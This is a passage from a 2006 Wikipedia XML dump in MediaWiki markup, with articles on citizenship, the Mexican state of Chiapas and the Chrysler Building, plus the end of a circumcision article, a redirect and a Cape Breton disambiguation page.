* Gerald N. Weiss M.D. and Andrea W Harter. ''Circumcision: Frankly Speaking.'' Wiser Publications, 1998. (ISBN 0-966-72190-X)

&lt;!-- Categorization --&gt;
[[Category:Circumcision]]
[[Category:Circumcision debate]]
[[Category:Body modification]]
[[Category:Penis]]
&lt;!-- Localization --&gt;
[[bg:Обрязване]]
[[bm:Bolo koli]]
[[ca:Circumcisió]]
[[da:Omskæring]]
[[de:Zirkumzision]]
[[es:Circuncisión]]
[[fr:circoncision]]
[[he:מילה]]
[[ja:割礼]]
[[mk:Машко обрежување]]
[[ms:khatan]]
[[nl:Besnijdenis]]
[[pl:Obrzezanie]]
[[ru:Обрезание]]{{Link FA|ru}}
[[fi:Ympärileikkaus]]
[[sv:Manlig omskärelse]]
[[zh:割包皮]]</text>
    </revision>
  </page>
  <page>
    <title>Citizenship</title>
    <id>6784</id>
    <revision>
      <id>42037706</id>
      <timestamp>2006-03-03T10:46:07Z</timestamp>
      <contributor>
        <ip>88.201.128.130</ip>
      </contributor>
      <text xml:space="preserve">{{expert}}

:''For other uses, see [[citizen (disambiguation)]].''

'''Citizenship''' is membership in a political community (originally a [[city]] but now usually a [[state (law)|state]]) and carries with it [[rights]] to political participation; a person having such membership is a '''citizen'''. It is largely coterminous with [[nationality]], although it is possible to have a nationality without being a citizen (i.e., be legally [[subject (philosophy)|subject]] to a state and entitled to its protection without having rights of political participation in it); it is also possible to have political rights without being a national of a state; for example, a citizen of a [[Commonwealth of Nations|Commonwealth]] country resident in the [[United Kingdom]] is entitled to full political rights.

See [[nationality]] for further discussion of the properties of national citizenship and how it can be acquired.

''Citizenship'' often also implies working towards the betterment of one's [[community]] through participation, volunteer work, and efforts to improve life for all citizens. In this vein, [[school]]s in [[England]] provide lessons in citizenship; in Wales the model used is [[Personal and Social Education]].

==Subnational citizenship==
Citizenship most usually relates to membership of the nation state, but the term can also apply at subnational level. Subnational entities may impose requirements, of residency or otherwise, which permit citizens to participate in the political life of that entity, or to enjoy benefits provided by the government of that entity. But in such cases, those eligible are also sometimes seen as &quot;citizens&quot; of the relevant state, province, or region.

Citizenship as explained above is the political rights of an individual within a society. Thus, you can have a citizenship from one country and be a national of another country. One example might be as follows:  A Cuban-American might be considered a national of Cuba due to his being born there, but he could also become an American citizen through naturalization. Some countries like Cuba and the United States of America forbid dual citizenship in the other country because of political tensions between the two nations. Nationality most often derives from place of birth (i.e. ''[[jus soli]]'') and, in some cases, ethnicity (i.e. ''[[jus sanguinis]]''). Citizenship derives from a legal relationship with a state. Nationality can be lost, as in [[denaturalization]], and gained, as in [[naturalization]].

==Supranational citizenship==
In recent years, some [[intergovernmental organisation]]s have extended the concept and terminology associated with citizenship to the international level, where it is applied to the totality of the citizens of their constituent countries combined. Two examples are given below, of citizenship in the European Union, and also of citizenship within the Commonwealth of Nations. As of 2005, citizenship at this level is a secondary concept, with a weaker status than national citizenship.

The ultimate version of supranational citizenship would be some sort of global citizenship;  the United Nations does not represent this concept directly, however, being more of an international forum than a structure for expressing individual rights and responsibilities.

===European Union (EU) citizenship===
The [[Maastricht Treaty]] introduced the concept of [[citizenship of the European Union]]. This citizenship flows from national citizenship &amp;mdash; one holds the nationality of an [[Member states of the EU|EU member state]] and as a result becomes a &quot;citizen of the Union&quot; in addition. 

EU citizenship offers certain rights and privileges within the EU; in many areas EU citizens have the same or similar rights as native citizens in member states. Such rights granted to EU citizens ([http://europa.eu.int/youreurope/nav/en/citizens/factsheets/eu/eucitizenship/eucitizenship/en.html]) include: 

*freedom of movement and the [[right of abode|right of residence]] within the territory of the Member States;
*[[right to vote]] and stand as a candidate at elections to the European Parliament and at municipal elections in the Member State of residence;
*right to diplomatic and consular protection;
*right of petition to the European Parliament; and
*right to refer to the Ombudsman.

The right of residence connotes not only the right of abode, but also the right to apply to work in any position (including national [[civil service]]s with the exception of sensitive positions such as defence). 

EU member states also use a common [[passport]] design, burgundy coloured, with the name of the member state, national seal, and the title &quot;European Union&quot; (or its translation).  

Union citizenship continues to gain in status and the [[European Court of Justice]] has stated that Union citizenship will be the &quot;fundamental status of nationals of Member States&quot; (see  Case C-184/99 Rudy Grzelczyk v Centre Public d'Aide Sociale d'Ottignes-Louvain-la-Neuve, [2001] ECR I-6193, para 31). The [[European Commission]] has affirmed that Union citizenship should be the fundamental status of EU nationals, but this is not accepted by many of the member states of the European Union.

===Commonwealth citizenship===
The concept of &quot;Commonwealth Citizenship&quot; has been in place ever since the establishment of the [[Commonwealth of Nations]]. As with the EU, one holds Commonwealth citizenship only by being a citizen of a Commonwealth member state. This form of citizenship offers certain privileges within some Commonwealth countries: 
*Some such countries do not require tourist [[visa (document)|visas]] of citizens of other Commonwealth countries. 
*In some Commonwealth countries [[permanent resident|resident]] citizens of other Commonwealth countries are entitled to political rights, e.g., the [[right to vote]] in local and national elections and in some cases even the right to stand for election. 
*In some instances the right to work in any position (including the [[civil service]]) is granted, except for certain specific positions (e.g. defence, [[Governor-General]] or [[President]], [[Prime Minister]]). 

Whilst Commonwealth citizenship is sometimes enshrined in the written [[constitution]]s (where applicable) of Commonwealth states and is considered by some to be a form of [[dual citizenship]], there have never been, nor are there any plans for a common [[passport]].

Although the [[Republic of Ireland]] left the Commonwealth in [[1949]], it is often treated as if it were a member, with references being made in legal documents to 'the Commonwealth and the Republic of Ireland', and its citizens are not classified as foreign nationals, particularly in the [[United Kingdom]].

Canada departed from the principle of nationality being defined in terms of allegiance in 1921 (Nationals Act 1921 (Canada)), in a attempt to prevent non-Canadians (especially of Asian origin) from entering Canada. In 1935 the Irish Free State was the first to introduce its own citizenship (However, Irish citizens were still treated as subjects of the Crown, and they are still not regarded as foreign, even though Ireland is not a member of the Commonwealth; ''Murray v Parkes'' [1942] All ER 123).

In 1946 the Canadian Citizenship Act  destroyed the common basis for citizenship. The concept of Commonwealth citizenship was introduced in 1948 in the British Nationality Act 1948. Other Dominions adopted this principle, in New Zealand, in the British Nationality and New Zealand Citizenship Act 1948. Citizenship has replaced allegiance, a more than symbolic change. Yet, at the same time, Canada continued to stress the continued allegiance of Canadians to a common Crown. It was just that practical requirements meant that national status had to be based on something other than allegiance, or peoples from throughout the Commonwealth might choose to settle in Canada.

==Honorary citizenship==
Some countries extend &quot;honorary citizenship&quot; to those whom they consider to be especially admirable or worthy of the distinction.

By [[Act of Congress]] and presidential assent, [[Honorary Citizen of the United States|honorary United States citizenship]] has been awarded to only six individuals. 

The only people to ever receive honorary [[Canada|Canadian]] citizenship are [[Raoul Wallenberg]] posthumously in 1985, and [[Nelson Mandela]] in 2001.

American actress [[Angelina Jolie]] received an honorary [[Cambodia|Cambodian]] citizenship in [[2005]] due to her humanitarian efforts.

==Historical citizenship==

Historically, many states limited citizenship to only a proportion of their nationals, thereby creating a citizen class with political rights superior to other classes, but equal with each other.  The classical example of a limited citizenry was [[Athenian democracy|Athens]] where slaves, women, and [[metic|metics]] were excluded from political rights, but [[roman republic|the Roman Republic]] forms another example, and, more recently, the [[szlachta]] of the [[Polish-Lithuanian Commonwealth]] had some of the same characteristics.


==Bibliography==
*Anderson, Benedict. Imagined Communities. Verso, 1991.

*Balibar, Ettienne-  Race, Nation, Classe: Les identités ambiguës (with Immanuel Wallerstein)

*Barry, Brian. Culture and Equality: An Egalitarian Critique of Multiculturalism. Harvard, 2001.

*Kymlicka, Will. Multicultural Citizenship. Oxford, 1995.

*Okin, Susan. Is Multiculturalism Bad for Women? Princeton, 1999.

*Taylor, Charles. Multiculturalism: Examining the Politics of Recognition. Princeton, 1994.

*Armstrong, John A. Armstrong: Nations Before Nationalism (Chapel Hill, University of North Carolina Press, 1982)

*Smith, Rogers, Stories of Peoplehood,  The Politics and Morals of Political Membership, Cambridge University Press, 2003.



==See also==
*[[Citizenship education]]
*[[Jus sanguinis]]
*[[Jus soli]]
*[[Multiple citizenship]]
*[[Nationality law]]
*[[Naturalization]]
*[[Permanent residency]]
*[[Second-class citizen]]
*[[Stateless person]]
*[[World citizen]]

===Citizenship in specific countries===
*[[Nationality law of Barbados|Barbados nationality law]]
*[[British citizenship]]
*[[Canadian nationality law]]
*[[Indian nationality law]]
*[[Foreign-born Japanese|Japanese, born overseas]]
*[[French nationality law]]
*[[Malaysian citizenship]]
*[[South African nationality law]]
**[[Black Homeland Citizenship Act]]
*[[Swiss citizenship]]
*[[Naturalized TRNC citizens]] in the [[Turkish Republic of Northern Cyprus]]
*[[United States citizenship]]

===Historical citizenship===
*[[Roman citizen]]
*[[Reich Citizenship Law]]

==External links==
*[http://europa.eu.int/scadplus/leg/en/cig/g4000c.htm#c1 EU Glossary: Citizenship of the Union]
*[http://www.ericdigests.org/2000-1/democracy.html The Concept of Citizenship in Education for Democracy]
*[http://www.dreptonline.ro/resurse/cetatenie.php The Law in Romania: The Romanian Citizenship ]

[[Category:Human migration]]
[[Category:Nationality]]
[[Category:Government]]

[[bg:&amp;#1043;&amp;#1088;&amp;#1072;&amp;#1078;&amp;#1076;&amp;#1072;&amp;#1085;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1086;]]
[[cy:Dinasyddiaeth]]
[[de:Staatsbürgerschaft]]
[[es:Ciudadano]]
[[fi:Kansalaisuus]]
[[fr:Citoyen]]
[[he:&amp;#1488;&amp;#1494;&amp;#1512;&amp;#1495;&amp;#1493;&amp;#1514;]]
[[id:Kewarganegaraan]]
[[ja:&amp;#24066;&amp;#27665;]]
[[nl:Burger]]
[[pl:Obywatelstwo]]
[[pt:Cidadania]]
[[simple:Citizenship]]
[[sv:Medborgarskap]]
[[simple:citizen]]
[[tr:Vatandaşlık]]
[[ru:Гражданин]]</text>
    </revision>
  </page>
  <page>
    <title>Chiapas</title>
    <id>6787</id>
    <revision>
      <id>41570859</id>
      <timestamp>2006-02-28T05:33:15Z</timestamp>
      <contributor>
        <username>Paul August</username>
        <id>87355</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/24.60.24.112|24.60.24.112]] ([[User talk:24.60.24.112|talk]]) to last version by JerryFriedman</comment>
      <text xml:space="preserve">{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot; width=&quot;240&quot; style=&quot;margin: 1em 1em 1em 0; border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;&quot; align=&quot;right&quot;
!align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; colspan=&quot;3&quot;|'''Estado de Chiapas'''
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:Escudo-Chiapas.png|120px]]
|-
!align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; colspan=&quot;3&quot;|Location
|-
|align=&quot;center&quot; colspan=&quot;3&quot;|[[Image:Chiapas in Mexiko.png|200px]]
|-
!align=&quot;center&quot; bgcolor=&quot;#ccccff&quot; colspan=&quot;3&quot;|Statistics
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Capital
|colspan=&quot;2&quot; valign=&quot;top&quot;| [[Tuxtla Gutiérrez]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Area
|colspan=&quot;2&quot; valign=&quot;top&quot;|74,211 [[square kilometer|km²]]&lt;br&gt;[[List of Mexican states by area|Ranked 8th]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|Population&lt;br&gt;&lt;small&gt;(2000 census)&lt;/small&gt;
|colspan=&quot;2&quot; valign=&quot;top&quot;|3,920,500&lt;br&gt;[[List of Mexican states by population|Ranked 8th]]
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[List of Mexican state governors|Governor]]&lt;br&gt;&lt;small&gt;(2000-2006)&lt;/small&gt;
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Pablo Salazar Mendiguchía]] (PRD)
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Chamber of Deputies of Mexico|Federal Deputies]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|[[Institutional Revolutionary Party|PRI]]: 11&lt;br&gt;[[National Action Party (Mexico)|PAN]]: 1
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[Senate of Mexico|Federal Senators]]
|colspan=&quot;2&quot; valign=&quot;top&quot;|PRI: 2&lt;br&gt;[[Partido de la Revolución Democrática|PRD]]: 1
|-
!align=&quot;left&quot; valign=&quot;top&quot;|[[ISO 3166-2]]&lt;br&gt;&lt;small&gt;Postal abbr.&lt;/small&gt;
|colspan=&quot;2&quot; valign=&quot;top&quot;|MX-CHP&lt;br&gt;Chis.
|}

'''Chiapas''' is a state in the southeast of [[Mexico]]. Chiapas is bordered by the states of [[Tabasco]] to the north, [[Veracruz]] to the northwest, and [[Oaxaca]] to the west. To the east Chiapas borders [[Guatemala]], and to the south the [[Pacific Ocean]]. 

Chiapas has an area of 73,887 km&amp;sup2;  (28,528 square miles). The [[2003]] population estimate was 4,224,800 people.

In general Chiapas has a humid, tropical weather. In the north, in the area bordering Tabasco, near Teapa, rainfall can average more than 3,000 mm/year. Natural vegetation at this region was lowland, tall perennial [[rainforest]], but this vegetation has been destroyed almost completely for agriculture and ranching. Rainfall decreases moving towards the [[Pacific Ocean]], but it is still abundant enough to allow the cultivation of bananas and many other tropical crops near [[Tapachula]]. On the several parallel sierras or mountain ranges running along the center of Chiapas, climate can be quite temperate and foggy, allowing the development of [[cloud forests]] like those of the [[Reserva de la Biosfera el Triunfo]], home to a handful of [[Resplendent Quetzal|quetzal]]s and [[horned guan]]s. 

The state capital city is [[Tuxtla Gutiérrez]]; other cities and towns in Chiapas include [[San Cristóbal de las Casas]], [[Comitán]], and [[Tapachula]]. Chiapas is also home to the ancient [[Maya civilization|Maya]] ruins of [[Palenque]], [[Yaxchilan]], [[Bonampak]], [[Chinkultic]], and [[Tonina]]. 

Many of the people in Chiapas are poor, rural small farmers. About one third of the population are of full or predominant [[Maya peoples|Maya]] descent, and in rural areas many do not speak [[Spanish language|Spanish]]. The state suffers from the highest rate of malnutrition in Mexico, estimated to affect over 40% of the population.

Other social issues involve the increasing presence of the Central American gangs known as [[Maras]], and illegal immigration from Central America in general, mostly directed towards the United States, but further aggravating the panorama of local poverty. This floating influx of people is frequently subject to abuse and human rights violations from Mexican authorities. 

Since [[1994]], Chiapas has been involved in an ongoing [[civil war]] or [[revolution]], nowadays in a calm but somewhat tense state, especially in the &quot;autonomous municipalities&quot; (see below).  The two sides are the Mexican Government and the [[Zapatista Army of National Liberation]] (the EZLN or Zapatistas).  There are currently 32 &quot;rebel autonomous zapatista municipalities&quot; (independent Zapatista communities, MAREZ from their name in Spanish), controlled by the EZLN in Chiapas: some of these communities are [[Ocosingo]] and [[Las Margaritas]]. 

Despite these problems Chiapas continues to be a very tourist-friendly state, safe to the visitor. 

Its anthem is called ''[[Himno a Chiapas]]''. 

== History of Chiapas ==

In [[Pre-Columbian]] times Chiapas was part of the heartland of the [[Maya civilization]].  

Chiapas was conquered by [[Spain]] in the early [[16th century]], and became part of the [[Viceroy|Viceroyalty]] of [[New Spain]], administered as part of the &quot;Kingdom of Guatemala&quot; (what is now [[Central America]]), administered from [[Antigua Guatemala]]. 

When Central America achieved its independence from Mexico in [[1823]], western Chiapas was annexed to Mexico.  More of current day Chiapas was transferred after the disintegration of the [[Central American Federation]] in [[1842]], and the remainder of the current state taken from Guatemala in the early [[1880s]] by President [[Porfirio Díaz]].

Chiapas remained one of the parts of Mexico least affected by change, with the descendants of the Spanish continuing to exercise much control over the native Indians through such institutions as [[peonage|debt peonage]], despite attempts by the central government to abolish those practices.

In [[1868]] there was an armed native rebellion, led by the [[Tzotzil]] Maya as well as [[Tzeltal]], Tojolabal, and Ch'ol; it almost succeeded in taking [[San Cristóbal de las Casas|San Cristóbal]], then the state capital, before it was suppressed by the Mexican army.

In the twentieth century some people in Chiapas felt that their poor and largely [[Agriculture|agricultural]] area had been ignored by the government since enactment of the [[Constitution of Mexico|constitution of 1917]]. One of the chief complaints was that many Indian farmers were required to pay absentee landlords, despite the fact that since the [[1920s]] the Mexican government had been promising the peasants ownership of the land they had farmed and lived on for generations. Article 27 of the 1917 constitution guaranteed [[indigenous peoples]] the right to an &quot;[[ejido]]&quot; or communal land. As Mexico restructured its economy after the 1982 financial crisis the state sector shrank due to privatizations and reorganization while land reform became less of a priority (it had long since been completed in most of the country, with Chiapas as a notable exception). The Mexican government under President Carlos Salinas de Gortari sought to modernize the traditionally closed and state dominated economy and increase its openness to trade. As part of this process Mexico repealed the constitutional guarantee of communally owned ejidos for rural communities. As the North America Free Trade Agreement (welcomed by Mexico's business sector) came into effect on January 1, 1994, the indigenous peoples of Chiapas - struggling to make a living with few resources - felt increasingly left behind.

Such dissatisfaction led to the rise of the Zapatista Army of National Liberation (Zapatistas, or ''Ejército Zapatista de Liberación Nacional),'' which  began an armed rebellion against the federal government on [[January 1]], [[1994]] as a response to the negative implications NAFTA had for the indigenous population especially in Southern Mexico. In this year, thousands of supporters of the [[anti-globalization]] movement gathered in Chiapas, and it was from this meeting that the modern movement was born. 

The group is named after the iconic revolutionary leader [[Emiliano Zapata]] who fought during the [[Mexican Revolution]] in the [[1910s]]. Zapata gained enormous respect throughout Latin America for defending the rights of the poor agricultural sector of Mexico.  The Zapatistas were in principle a peaceful movement that was pushed to use the force of arms to guarantee the indigenous right to ejidos. [[Subcomandante Marcos]], the face of the Zapatistas, succeeded in attracting international attention, with the innovative use of modern information and communication technologies for the struggle of the indigenous peoples in Chiapas.

After the initial seizure of [[San Cristóbal de las Casas]] in Chiapas, the Mexican army kept the Zapatistas bottled up in their rural strongholds. Sporadic armed repression by paramilitaries that appears to have been funded by local landowners, and with which elements in the federal government may have sympathized, followed. There was a series of massacres,most notably in [[1997]] in [[Acteal massacre|Acteal]], where [[refugees]] from indigenous communities, mainly women and children, were killed, after a National Peace Accord had been signed.

In [[2000]], the EZLN renewed its revolt, declaring control of a number of villages and sending a delegation into [[Mexico City]]. While the delegation was did not obtain everything it sought due to opposition in Congress, which the support of President Vicente Fox was not able to overcome, the villages remain under Zapatista control, in large part due to the resilience of local villagers and their unwavering support of the group. In [[August 2003]], the EZLN declared all Zapatista territory an autonomous government independent of Mexico.  Since then, the armed EZLN has been laying low to some extent working on the government level to implement health care and educational institutions in poor rural indigenous communities that had until then been ignored and discriminated against by the central government.

== Some Landmarks ==

The [[Cañon del Sumidero]] [http://es.wikipedia.org/wiki/Ca%C3%B1%C3%B3n_del_Sumidero] is occupied now by an artificial lake, the presa (dam) Chicoasen [http://es.wikipedia.org/wiki/Chicoas%C3%A9n], which produces a large percent of the electricity in Mexico. The sides of the cañon are covered with tropical vegetation. 

The [[Alvarez del Toro Zoo]], ZOOMAT [http://www.ihne.chiapas.gob.mx/zoomat], in [[Tuxtla Gutierrez]], featuring local, native fauna. 

The [[Lagunas de Montebello]], near [[Comitan]].

The [[Cascadas de Agua Azul]] (Blue Waterfalls), near [[Palenque]]. 

The Maya ruins of [[Bonampak]], in the [[Lacandon]] rainforest ([[La Selva Lacandona]]), feature probably the finest and better-known Maya murals. These are very realistic, depicting human sacrifices, music players and life at the royal court. 

The [[Lacandon]] rainforest [http://en.wikipedia.org/wiki/La_Selva_Lacandona] itself is an important biodiversity spot, which recently yielded one of the newest and unique plant family discovered, represented by the plant ''[[Lacandonia schismatica]]''. 

The Soconusco, the south-eastern coastal region bordering Guatemala, is a hot tropical agricultural area devoted to the intensive production of [[bananas]] and [[coffee]], for the national and international markets. 

Chiapas is part of the [[Ruta Maya]] or [[Gringo Trail]] that links Cancun, Belice, Tikal, [[Lake Atitlan]], [[San Cristobal de las Casas]], [[Palenque]] and other Maya archeological sites. 

[[San Cristobal de las Casas]], [http://es.wikipedia.org/wiki/San_Crist%C3%B3bal_de_las_Casas] is a favorite international tourist destination due to its colorful indian traditions and customs. 

== Islam in Chiapas ==

Long a bastion of [[Roman Catholicism]], the rites of which are frequently [[syncretism|syncretized]] with indigenous practices and beliefs, in recent years southern Mexico has seen major inroads by various protestant and evangelical churches. In addition, since about 2000, [[Islam]] has also been gaining a foothold &amp;ndash; some 300 [[Tzotzil]] [[Native American (Americas)|Native American]]s are reported to have embraced Islam in recent years, and [[San Cristóbal de Las Casas|San Cristóbal]] now boasts two [[mosques]]. For more on Islam in Chiapas, see the [[Murabitun]] article.

===External links on Muslim conversions===
*Jens Glusing, [http://service.spiegel.de/cache/international/spiegel/0,1518,358223,00.html &quot;Praying to Allah in Mexico: Islam is gaining a foothold in Chiapas&quot;], ''Der Spiegel Online,'' [[May 28]], [[2005]]. 
*Dudley Althaus, [http://hispanicmuslims.com/articles/other/southernmx.html &quot;Islam taking root in southern Mexico&quot;], ''Houston Chronicle,'' [[June 22]], [[2002]].
*Chris Zambelis, [http://jamestown.org/terrorism/news/article.php?articleid=2369812 &quot;Al-Qaeda's Inroads into the Caribbean&quot;], ''Jamestown Foundation Terrorism Monitor,'' Volume 3, Issue 20 ([[October 21]], [[2005]])
*Chris Zambelis, [http://www.jamestown.org/terrorism/news/article.php?articleid=2369844 &quot;Radical Islam in Latin America&quot;], ''Jamestown Foundation Terrorism Monitor,'' Volume 3, Issue 22 ([[December 2]], [[2005]])

== Municipalities ==

Chiapas is subdivided into 118 municipalities  ''([[Municipality|municipios]])''. See 
[[municipalities of Chiapas]]

==Mormonism==

In [[Mormonism|Mormon culture]], Chiapas is the most popular traditional location of the [[Book of Mormon]] land of [[Zarahemla]], though this is not official doctrine of the [[Church of Jesus Christ of Latter-day Saints|LDS Church]].  The popular LDS [[tourism]] service, ''[[Israel Revealed]]'', has package tours that include various spots in Chiapas.

==See also==
*[[Chiapas Media Project]]

==External links==
*[http://www.turismochiapas.gob.mx Chiapas Tourism website] (Español, English, Français, Deutsch, Italiano)
*[http://service.spiegel.de/cache/international/spiegel/0,1518,358223,00.html Islam is Gaining Foothold in Chiapas] (English)

{{States of Mexico}}
[[Category:States of Mexico]]

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[[nl:Chiapas]]
[[ja:チアパス州]]
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[[sv:Chiapas]]</text>
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  <page>
    <title>Chrysler Building</title>
    <id>6788</id>
    <revision>
      <id>41066560</id>
      <timestamp>2006-02-24T21:10:17Z</timestamp>
      <contributor>
        <ip>216.75.86.162</ip>
      </contributor>
      <comment>This building was only the world's tallest from 1930-31, not until 1942.  The text verifies this and I only changed the quick facts on the right side</comment>
      <text xml:space="preserve">{{Infobox World's Tallest Building
|building_name= Chrysler Building
|image= [[Image:Chrysler Building detail.jpg|center|220px|A closeup view of the Chrysler Building's upper tower]]
|previous_building= [[40 Wall Street]]
|year_built= [[1930]]
|surpassed_by_building= [[Empire State Building]]
|year_end= [[1931]]
|location= [[New York City]], [[USA]]
|height_meters= 282 (roof)
|height_feet= 925 (roof)
|height_stories= 77
| construction_period= [[1928]]-[[1930]]
|destroyed=
|emporis_id=114867}}
{{Infobox Skyscraper/Tallest
|roof= 282.0 m
|top_floor= 274.0 m
|antenna_spire= 318.9 m
|floor_area= 111,201 m²
|elevator_count= 32
|architect= [[William Van Alen]]|}}
Completed in [[1930]], the '''Chrysler Building''' is a distinctive symbol of [[New York City]], standing 1,048 feet (319 m) high on the east side of [[Manhattan]] at the intersection of [[42nd Street]] and [[Lexington Avenue (Manhattan)|Lexington Avenue]].  Originally built for the [[Chrysler Corporation]], the building is presently co-owned by TMW Real Estate (75%) and Tishman Speyer Properties (25%). The Chrysler Building was the first structure in the world to surpass the 1,000 foot threshold. 

==History==
The Chrysler building was [[design]]ed by [[William van Alen]] for a contractor, [[William H. Reynolds]], the same man who dreamed up [[Dreamland (amusement park)|Dreamland]], a by-gone [[amusement park]] of [[Coney Island]]'s heyday.  The design was subsequently sold to [[Walter Chrysler|Walter P. Chrysler]] as a home for his company's headquarters.

At the time the building was erected, the builders of New York were in the throes of a stiff competition to build the world's tallest [[skyscraper]].  The Chrysler building was constructed at an average rate of 4 [[floor]]s per week, and no workers were killed during construction.  Just prior to completion, the building stood even with [[H. Craig Severance]]'s [[40 Wall Street]].  Mr. Severance subsequently added two feet to his building, and claimed the title of the world's tallest building (this distinction excluded &quot;structures&quot;, such as the [[Eiffel Tower]].)

Not one to be outdone, Mr. van Alen had already secretly obtained permission to build a 185 foot (58.4 m) spire, which was being constructed inside of the building.  The spire, composed of 'Nirosta' [[stainless steel]], was hoisted to the top of the building on October 23, [[1929]], making the Chrysler Building not only the world's tallest building, but also the world's tallest structure.  Van Alen and Chrysler enjoyed this distinction for less than a year, before it was surrendered to the [[Empire State Building]].  Unfortunately, Mr. van Alen's satisfaction was muted by Walter Chrysler's refusal to pay his fee. The Chrysler Building opened to the public on [[May 27]], [[1930]].

==Architecture==
The Chrysler Building is an example of [[Art Deco]] architecture, and the distinctive ornamentation of the tower is based on the [[hubcap]]s that were then being used on Chrysler automobiles.  The building is also arguably the best example of the Art Deco period of New York architecture, which was noted as perhaps the most beautiful period of development of buildings in the city.  

The lobby is similarly elegant. When the building first opened it contained a  public viewing [[gallery]] near the top, which a few years later was changed into a restaurant, but neither of these enterprises was able to be financially self sustaining during the [[Great Depression]] and the former observation floor became a [[Cloud Club|private club]].  The very top stories of the building are narrow with low sloped ceilings, designed mostly for exterior appearance with interiors useful only to hold radio broadcasting and other mechanical and electrical equipment.

In more recent years the Chrysler Building has continued to be a favorite among New Yorkers.  In the summer of 2005, New York's own [[Skyscraper Museum]] asked one hundred architects, builders, critics, engineers, historians, and scholars, among others, to choose their 10 favorites among 25 New York towers.  The Chrysler Building came in first place as 90% of them placed the building in their top 10 favorite buildings. [http://select.nytimes.com/search/restricted/article?res=F70B13FC3C550C728CDDA00894DD404482]

==Images==
&lt;gallery&gt;
Image:ChryslerBuildingConstruction1929.jpg
Image:Chrysler building.jpg
Image:Chrysler_building_from_street_2.jpg
Image:Chrysler_Building-HP.jpg
Image:Chrysler building from east.jpg
Image:Chrysler building- top.jpg
Image:Chrysler_lobby.JPG
&lt;/gallery&gt;

==The building in popular culture==  	 
* In the movie ''[[Armageddon (film)|Armageddon]]'', a chunk of the asteroid hits the Chrysler Building, severing its upper quarter and causing it to crash down on the streets.
* Larry Cohen's low budget classic movie ''Q: The Winged Serpent'' (1982) has the titular dragon-beast nesting just below the spire of the Chrysler Building, from where it launches its campaign of terror on New York City, staying invisible to the citizens by &quot;flying against the sun&quot;.
* In the animated series ''[[Spider-Man]]'', one of the main villains, Kingpin, runs his crime syndicate from the Chrysler Building. The upper floors had launch and landing facilities for [[VTOL]]-capable aircraft. 	 
* In the movie ''[[Godzilla_(1998_film)|Godzilla]]'' two [[AH-64|Apache]] helicopters accidently blow up the building while chasing the gigantic beast through [[Manhattan|Midtown]].
* In the [[video game]] ''[[Parasite Eve]]'', the building is a site of a thorough hostile creature infestation. The secret &quot;true&quot; [[boss (video game)|boss]] is on the top floor. 
* Artist [[Matthew Barney]] narrates the construction of the Chrysler Building (which is itself a character) in the [[art film]] ''[[The Cremaster Cycle#Cremaster_3_.282002.29|Cremaster 3]]''.

==See also==
* [[Buildings and architecture of New York City]]
* [[50 Tallest buildings in the U.S.]]
* [[Tallest buildings in New York City]]
* [[World's tallest structures]]
* [[List of buildings]]

==External links==
{{Commonscat|Chrysler Building}}
* [http://www.cbsforum.com/cgi-bin/articles/partners/cbs/search.cgi?template=display&amp;dbname=cbsarticles&amp;key2=chrysler&amp;action=searchdbdisplay The story of Chrysler Building] - by [http://www.cbsforum.com/ CBS Forum]
* [http://www.salon.com/ent/masterpiece/2002/02/25/chrysler/ Salon.com article (02/2002)]
* [http://perrin.olivier.free.fr/new_york_2005/Chrysler%20Building/index.html Newyork-evasion gallery of photographs on the Chrysler Building]
* [http://www.bobjagendorf.smugmug.com/gallery/605886.com Views Of The Chrysler Building]
* [http://www.nycfoto.com/showPage.php?albumID=65 NYCfoto.com] - Photos of Chrysler Building
* [http://newyorkbirds.free.fr/manhattan/lower%20midtown/chrysler%20building/index.php Air photographs]
* [http://www.nyc-architecture.com/MID/MID021.htm New York Architecture Images-the Chrysler Building]

{{New York City}}
{{Supertall}}
[[Category:Skyscrapers in New York City]]
[[Category:Buildings and structures in Manhattan]]
[[Category:Art Deco]]
[[Category:Skyscrapers between 300 and 349 meters]]

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[[zh:克萊斯勒大廈]]</text>
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  <page>
    <title>Condiment for seasoning minestrone</title>
    <id>6789</id>
    <revision>
      <id>15904907</id>
      <timestamp>2003-08-24T03:13:23Z</timestamp>
      <contributor>
        <username>TUF-KAT</username>
        <id>8351</id>
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      <comment>moving to minestrone</comment>
      <text xml:space="preserve">#redirect [[Minestrone]]</text>
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  <page>
    <title>Cape Breton</title>
    <id>6790</id>
    <revision>
      <id>34669262</id>
      <timestamp>2006-01-10T22:21:33Z</timestamp>
      <contributor>
        <ip>142.167.199.161</ip>
      </contributor>
      <comment>/* Sports teams */</comment>
      <text xml:space="preserve">{{TOCright}}
'''Cape Breton''' can refer to several different things:

==Geographic locations==
*[[Cape Breton Island]], a [[Canada|Canadian]] island on the [[Atlantic Ocean|Atlantic]] coast.
*[[Cape Breton County, Nova Scotia]]
*[[Cape Breton Highlands]]

==Communities==
*[[Cape Breton Regional Municipality, Nova Scotia]] (CBRM)

==Companies==
* [[Cape Breton Development Corporation]]

==National parks==
* [[Cape Breton Highlands National Park]]

==Universities==
*[[Cape Breton University]]

==Sports teams==
* [[Cape Breton Screaming Eagles]]
* [[Cape Breton Oilers]]
* [[Cape Breton Crush]]

==Electoral districts==
*[[Cape Breton (electoral district)]]
*[[Cape Breton North and Victoria]]
*[[Cape Breton South]]
*[[Cape Breton—Canso]]

==Political parties==
* [[Cape Breton Labour Party]]

==Newspapers==
* [[Cape Breton Post]]

==Accents==
* [[Cape Breton accent]]

==Railways==
* [[Cape Breton and Central Nova Scotia Railway]]

==Music==
* [[Cape Breton fiddling]]

{{disambig}}</text>
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  </page>
  <page>
    <title>CND</title>
    <id>6792</id>
    <revision>
      <id>15904910</id>
      <timestamp>2002-09-24T15:59:30Z</timestamp>
      <contributor>
